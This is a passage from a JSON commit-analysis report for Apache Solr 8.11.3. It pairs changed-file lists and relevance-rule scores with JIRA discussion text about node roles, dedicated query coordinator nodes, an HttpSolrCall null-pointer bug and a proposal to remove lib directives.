"solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java", - "solr/core/src/java/org/apache/solr/core/CoreContainer.java", - "solr/core/src/java/org/apache/solr/core/NodeRoles.java", - "solr/core/src/java/org/apache/solr/handler/ClusterAPI.java", - "solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java", - "solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java", - "solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java", - "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java", - "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java", - "solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java", - "solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java", - "solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java", - "solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java", - "solr/core/src/java/org/apache/solr/request/SimpleFacets.java", - "solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java", - "solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java", - "solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java", - "solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java", - "solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java", - "solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java", - "solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java", - "solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java", - "solr/core/src/java/org/apache/solr/update/UpdateLog.java", - "solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java", - "solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java", - "solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml", - "solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml", - "solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml", - "solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml", - "solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java", - "solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", - "solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome.", - "SOLR-15715": "We have a large collection with 1000s of shards in the solr cluster. We have observed that distributed solr query takes many resources(thread, memory, etc.) on the solr data node(node which contains indexes). Thus we need dedicated query nodes to execute distributed queries on large solr collection. That would reduce the memory/cpu pressure from solr data nodes. Elastis search has similar functionality here noble.paul ichattopadhyaya Dedicated query coordinator nodes in the solr cluster Related to SOLR-15694 I'd like to point out here that this feature is a donation from FullStory, where hiteshkhamesra implemented this solution that has already brought immense benefits on large Solr clusters. As part of this JIRA, we plan to upstream that functionality so that broader Solr community can benefit. While we've seen substantial reduction of memory usage on data hosting nodes in production for FullStory's internal workloads, I shall publish benchmarks for this feature on publicly available datasets soon. I just wrapped up an initial round of testing on regular setup (6 data nodes) POC setup (1 dedicated overseer + 1 coordinator + 6 data nodes). Setup details Regular setup: 6 nodes 2GB heap space on every node 6 collections, 6 shards each, 1 replica per shard Documents 30M per collection (ecommerce events dataset) Queries: 20,000 per collection, all queries on faceting (filtered by timeranges) Query rate: 2 threads per collection, 6 collections at the same time. Query target node: first data node ( port 50000 ) POC setup: 8 nodes: 1 dedicated overseer, 1 coordinator node, 6 data nodes 2GB heap space on every node 6 collections, 6 shards each, 1 replica per shard Documents 30M per collection (ecommerce events dataset) Queries: 20,000 per collection, all queries on faceting (filtered by timeranges) Query rate: 2 threads per collection, 6 collections at the same time. Query target node: coordinator node ( port 50001 ) Performance results Here are the results, Regular setup results: POC results: Conclusion Due to a separate coordinator node, memory usage on data nodes very low. Isolated coordinator node feature for query aggregation working as designed. A well known issue with this model is that the aggregation nodes can a. become bottlenecks to the overall throughput and b. cause outages if they are not scaled correctly. In an aggregation heavy system, these nodes will become the target of maximum load, thus potentially causing a skew in the cluster where the data nodes are relatively lower loaded vs the aggregation nodes bearing most of the load. To sustain that, a separate scalability model will be required for the aggregation nodes, thus leading to more complexity and state. Compared to status quo, in a state of high load, the chances of the cluster running into a cascading failure mode are higher for this solution. What are the steps taken to avoid the situation described above, and what kind of testing/simulation has been performed for the same? To sustain that, a separate scalability model will be required for the aggregation nodes, thus leading to more complexity and state. What do you mean by a \"separate scalability model\"? These query aggregation nodes are stateless and can be scaled up and down independently of the data nodes. Cost of bringing up a new aggregation node and bringing down a misbehaving aggregation node is much lower than misbehaving nodes with data in it. What are the steps taken to avoid the situation described above, and what kind of testing/simulation has been performed for the same? At FullStory, this solution has been running in a production Solr cluster with hundreds of nodes for several months now with immense benefits in reducing load on the data nodes. Cost of bringing up a new aggregation node and bringing down a misbehaving aggregation node is much lower than misbehaving nodes with data in it. { } That is exactly what I want to understand \u2013 how do you scale these nodes up? Are these autoscaled? What is the implication of scaling these nodes on the metadata storage (i.e. ZK state) and the overseer? You are concentrating a load (that was previously distributed) on a few select nodes, so the probability of needing to scale these nodes is high. That can eventually mean a larger cluster overall, since you aren't really removing any data nodes? At FullStory, this solution has been running in a production Solr cluster with hundreds of nodes for several months now with immense benefits in reducing load on the data nodes. While I am glad to hear that, I would still like to see a simulated (and reproducible) benchmark that targets the above mentioned scenario and demonstrates the said feature's handling of the same. That is exactly what I want to understand \u2013 how do you scale these nodes up? Are these autoscaled? What is the implication of scaling these nodes on the metadata storage (i.e. ZK state) and the overseer? It is possible to use Kubernetes or AWS autoscaling based on QPS or other load metrics to provision more of these query aggregation nodes. If this feature leverages the Node Roles feature (SIP-15), then the implication of having many query aggregation nodes would be that there will be many ephemeral nodes added to the /node-roles subtree (nested under coordinator role). {{You are concentrating a load (that was previously distributed) on a few select nodes, so the probability of needing to scale these nodes is high. }} An important benefit of isolating the cost of query aggregation is that while super expensive queries (queries of death) can still take down aggregation nodes, but data nodes still continue to function. Regarding the \"need is high\" for scaling up these query aggregation nodes, I think it is dependent on the workload and I'm not at liberty to disclose the exact details of FullStory's production workload. I would still like to see a simulated (and reproducible) benchmark that targets the above mentioned scenario and demonstrates the said feature's handling of the same. The benchmark I posted above is one such simulated benchmark which is reproducible (I'll share the steps to reproduce it once we have a PR opened). There might be many more reproducible benchmarks to come for this feature, each highlighting different aspects of this solution. Regarding the \"need is high\" for scaling up these query aggregation nodes, I think it is dependent on the workload and I'm not at liberty to disclose the exact details of FullStory's production workload. Having said that, I don't expect that anyone except a tiny minority of users would find this feature helpful. And, as you mentioned, even for those who find this useful, it might be necessary to weigh the tradeoffs that are involved (having additional nodes on top of the data nodes vs. whatever benefits can be had). This is going to be an opt-in feature. In this JIRA, I don't think we can address all such real world scenarios in order to be able to provide definitive guidance whether this will be useful for a particular scenario or not. An important benefit of isolating the cost of query aggregation is that while super expensive queries (queries of death) can still take down aggregation nodes, but data nodes still continue to function. That is true when the majority of workload is non aggregation. On the other hand, if the majority of the workload is aggregation heavy, we are essentially creating a skew in the cluster, keeping majority of nodes free and focusing the heavy lifting to a few nodes \u2013 which will lead to either a set of cascading failures or additional nodes, thus pushing up the cost and increasing cluster management complexity. I am interested in seeing that kind of a benchmark to see how this solution behaves in that situation. Copying a comment I made on the PR because I think it is a slightly larger discussion and might need more eyes on it. Design point: I'm not a fan of putting the coreNameMapping into the CoreContainer's objectCache. It feels kludgey and like we're using that as a grab bag for everything. It's not discoverable and probably not maintainable. I'd like to see this rearchitected in some ways for CoreContainer to allow roles to register themselves with it, and then there's a specific entry per role. And hopefully that's a domain object that can be extendable in the future. So instead of ObjectCache we have a map called RoleData that is maybe Map and each role knows what that entry is. It feels kludgey and like we're using that as a grab bag for everything. I agree that it is a bit \"kludgey\". However I do not believe all roles need to register some data with CoreContainer. I shall try to make it cleaner Here are final benchmark numbers. Setup Branch: https://github.com/apache/solr/pull/996 No. of Solr nodes: 6 (1 dedicated overseer, 1 coordinator node, 4 regular data nodes) No. of collections: 1 No. of shards: 256 No. of documents: 25 million No. of queries: 2000 (faceting queries, a few join queries) Hardware: One machine with 64GB RAM, at least 16 CPUs. Suite: https://github.com/fullstorydev/solr-bench/blob/master/coordinator-node.json Comparison: Scenario 1) All queries sent to the dedicated overseer node, and hence forwarded to data nodes and executed there. Scenario 2) All queries sent to coordinator node, hence executed on that node. Results Here are the heap usage graphs. The left graphs are for scenario 1 (queries executed on data nodes) and right graphs are scenario 2 (queries executed on coordinator node). It is clear that the heap usage on data nodes (ports 50002+) is less in scenario 2. Reproducing these benchmarks On a laptop, desktop or VM, with at least 64GB RAM and 16 CPUs, do the following: 1. git clone https://github.com/fullstorydev/solr-bench 2. apt install wget unzip zip ant ivy lsof git netcat make openjdk-11-jdk maven jq 3. mvn clean compile assembly:single 4. ./stress.sh coordinator-node.json To run scenario 1, keep the `query-node` to 1 in `querying` section of `task-types` (coordinator-node.json). To run scenario 2, change it to 2. Here 1 and 2 represent the node index (check the `startup-params-overrides` in `cluster` section). To plot the graphs, run `python2.6 -m SimpleHTTPServer 9000` (after a run) and open http://localhost:9000/plot-stress.html on the browser to view the graphs. Narrow down to \"Task 3\" for graphs only during the query phase. I plan to merge the PR #996 soon. It is clear that the heap usage on data nodes (ports 50002+) is less in scenario 2. Can you pretend that I'm a junior engineer and explain this conclusion to me? Can you pretend that I'm a junior engineer and explain this conclusion to me? It seems that during the query phase, a data node (lets say the red line) goes through 9 cycles of GC in scenario 1, whereas during scenario 2 same line goes via 6 cycles. Hence, I arrived at the conclusion that there's less GC cycles, thus indicating lower heap usage, when using coordinator nodes for querying. Does it make sense, Mike? Commit d029eb14aa8fbb592938f67bd1397bd8fe805168 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d029eb14aa8 ] SOLR-15715 : Dedicated query coordinator nodes in the solr cluster (#996) Commit 05f72879b33f389d89baaf7559ea03eb9aef2e89 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=05f72879b33 ] SOLR-15715 : Dedicated query coordinator nodes in the solr cluster (#996) Thanks to everyone for reviews and contribution. Bulk closing 9.1 issues. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Obviously very late to the party, and likely have missed something, but looking at this and some of the code, I'm given to wonder why this wasn't achieved via client request preferences (which was implemented), node labeling, and replica placement (to ensure certain labeled nodes never get data). Nodes without data that receive all the client requests is job done, right? In the current code it seems that only tests will ever call \"setPreferredNodes()\" which makes me think that this feature only works if the end-user client is manually tracking what nodes are coordinators? I guess my biggest Q is why do we need subclasses of HttpSolrCall? This seems achievable with node labels, a node role that adds a label, client smarts, and replica placement. I see a bunch of references to \"synthetic collection\" in the code, but it's not clear what this is or why its needed. From the javadoc: /**\r\n * A coordinator node can serve requests as if it hosts all collections in the cluster. it does so\r\n * by hosting a synthetic replica for each configset used in the cluster. Why do we want to do that? Existing code already knew how to find shards, delegate sub requests and coordinate a response, why do we need to fake the location of the collections with a synthetic replica? Gus, without this feature, how does one get a core/replica onto a coordinator node that has no data? Normally a core is part of a shard and that shard has data like all the others. This only partially addresses your questions; I don't have all the answers. I think I would have rather seen a special shard; maybe having no range and/or having a special state. But I think an aspect of the solution here is to have an approach that scales to many collections, thus don't want many empty cores. So instead I could imagine a collection that is able to query any other collection. I noticed an interesting new issue & PR on this feature recently SOLR-17118 ." - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: This", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: handler, read, request, actor, clouds", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-15694, SOLR-15715", - "relevance": 2 - } - ] - }, - { - "commit_id": "f33d102f254909492b6f5d5a2142dfea791a5a4a", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698073289, - "hunks": 3, - "message": "SOLR-17034: Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020)", - "changed_files": [ - "solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-17034": "Hitting /solr// causes the following stack trace: \"error\" :{ \"trace\" : \"java.lang.NullPointerException\\n\\tat org.apache.solr.servlet.HttpSolrCall.getCoreUrl(HttpSolrCall.java:1047)\\n\\tat org.apache.solr.servlet.HttpSolrCall.getRemoteCoreUrl(HttpSolrCall.java:1021)\\n\\tat org.apache.solr.servlet.HttpSolrCall.extractRemotePath(HttpSolrCall.java:428)\\n\\tat org.apache.solr.servlet.HttpSolrCall.init(HttpSolrCall.java:293)\\n\\tat org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:522)\\n\\tat org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:427)\\n\\tat org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:357)\\n\\tat org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:201)\\n\\tat org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1601)\\n\\tat org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:548)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)\\n\\tat org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:600)\\n\\tat org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235)\\n\\tat org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1624)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233)\\n\\tat org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1434)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188)\\n\\tat org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:501)\\n\\tat org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1594)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186)\\n\\tat org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1349)\\n\\tat org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)\\n\\tat org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:191)\\n\\tat org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:146)\\n\\tat org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\\n\\tat org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:322)\\n\\tat org.eclipse.jetty.server.handler.gzip.GzipHandler.handle(GzipHandler.java:763)\\n\\tat org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\\n\\tat org.eclipse.jetty.server.Server.handle(Server.java:516)\\n\\tat org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:400)\\n\\tat org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:645)\\n\\tat org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:392)\\n\\tat org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:277)\\n\\tat org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)\\n\\tat org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)\\n\\tat org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)\\n\\tat org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:338)\\n\\tat org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:315)\\n\\tat org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173)\\n\\tat org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131)\\n\\tat org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409)\\n\\tat org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883)\\n\\tat org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034)\\n\\tat java.base/java.lang. Thread .run(Unknown Source)\\n\" , \"code\" :500}} There is probably some higher up the chain bug that tries to get the core name and its empty. However we can fix the NPE relatively simply. Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud Commit 68ecfaf84a830aa663b2110f73d9c04e3549acb6 in solr's branch refs/heads/main from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=68ecfaf84a8 ] SOLR-17034 : Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020) Commit ff2efffd7982e64cc97e8c21bc329e0088da7721 in solr's branch refs/heads/branch_9x from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=ff2efffd798 ] SOLR-17034 : Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020) Commit f33d102f254909492b6f5d5a2142dfea791a5a4a in lucene-solr's branch refs/heads/branch_8_11 from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=f33d102f254 ] SOLR-17034 : Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020) Closing after the 8.11.3 release" - }, - "ghissue_refs": { - "2020": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java", - "relevance": 8 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-17034", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 2020", - "relevance": 2 - } - ] - }, - { - "commit_id": "9118b3f3d8a2b62258e68bbf1c904fbc0ee58b61", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1699289887, - "hunks": 5, - "message": "SOLR-16781: directive disabled by default", - "changed_files": [ - "solr/core/src/java/org/apache/solr/core/SolrConfig.java", - "solr/server/solr/configsets/_default/conf/solrconfig.xml", - "solr/solr-ref-guide/src/configsets-api.adoc", - "solr/solr-ref-guide/src/libs.adoc" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16781": " directives in solrconfig.xml used to be recommended way for including additional jar files to the classpath for a particular collection or collections. For context: This feature required complex handling of \"trusted\" vs \"non-trusted\" configsets in configset upload API to keep Solr secure (i.e. to stop RCE attacks for non-authentication enabled deployments). This security feature also broke down recently due to a bug in Schema designer ( SOLR-16777 ). Supported alternatives exist that are safer: user can add the jar files to Solr's classpath use packages to use custom jars per collection In the light of these, there's no need to continue to support the directive going forward. I propose to remove the directives handling and functionality through this issue. Remove directives from Solr If there should be a such a feature , it should be in solr.xml This is a duplicate of SOLR-6681 from 2014! Supported alternatives exist that are safer [... e.g.] use packages to use custom jars per collection Is the package manager ready to take on 